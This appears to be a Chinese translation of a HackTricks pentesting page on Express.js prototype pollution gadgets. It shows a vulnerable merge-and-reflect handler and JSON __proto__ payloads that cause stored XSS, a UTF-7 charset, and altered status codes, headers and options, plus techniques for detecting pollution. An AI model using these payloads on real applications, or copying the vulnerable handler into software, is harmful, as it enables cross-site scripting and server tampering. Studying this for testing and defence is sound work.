Express Prototype Pollution Gadgets

支持 HackTricks

提供 XSS 响应

有关更多详细信息 请查看原始研究

将 JSON 内容类型更改为 HTML

在一个使用 JSON 内容类型响应 并反射 JSON 的 Express 应用中:

app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
_.merge({}, req.body);
res.send(req.body);
});

在这些情况下,XSS 通常不可能与 JSON 内容类型一起使用。然而,通过原型污染,我们可以 混淆 Express 以提供 HTML 响应。 这个漏洞依赖于应用程序使用 res.send(obj) 并使用应用程序/json 内容类型的主体解析器。

{"__proto__":{"_body":true,"body":"<script>evil()"}}

通过污染 body_body 属性,可以导致 Express 提供 HTML 内容类型 并反射 _body 属性,从而导致存储型 XSS。

渲染 UTF7

可以使 express 渲染 UTF-7 内容

{"__proto__":{"content-type": "application/json; charset=utf-7"}}

安全扫描技术

JSON 空格

以下 PP 将使 JSON 内的属性具有额外的空格,这不会破坏功能:

{"__proto__":{"json spaces": " "}}

然后反射的 JSON 看起来像:

{"foo":  "bar"} -- Note the extra space

Exposed Headers

以下 PP gadget 将使服务器返回 HTTP 头:Access-Control-Expose_headers: foo

{"__proto__":{"exposedHeaders":["foo"]}}

它需要安装 CORS 模块

OPTIONS 方法

使用以下有效负载,可以 从 OPTIONS 响应中隐藏一个方法

// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

状态

可以使用以下 PP 有效负载更改 返回状态代码

{"__proto__":{"status":510}}

错误

当你用一个原始值(如字符串)赋值给原型时,它会产生一个 无操作,因为原型必须是一个对象。如果你尝试将一个原型对象赋值给 Object.prototype 本身,这将 抛出一个异常。我们可以利用这两种行为来 检测原型污染是否成功

({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception

反射值

当一个应用程序在其响应中包含一个对象时,创建一个带有 不寻常名称的属性以及 __proto__ 可能会很有启发性。具体来说,如果 响应中仅返回不寻常的属性,这可能表明应用程序的漏洞:

{"unusualName":"value","__proto__":"test"}

此外,在使用像 Lodash 这样的库的场景中,通过原型污染 (PP) 和直接在对象内部设置属性提供了另一种诊断方法。如果这样的属性在响应中被省略,这表明 Lodash 在合并之前正在验证目标对象中属性的存在性:

{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Misc

允许点

在 Express 中有一个选项,可以让你 从查询字符串参数创建对象。 你可以在一个漏洞 中使用它来利用 原型污染漏洞

{"__proto__":{"allowDots":true}}

?foo.bar=baz 在 Node 中创建一个对象。

参考文献

支持 HackTricks

Last updated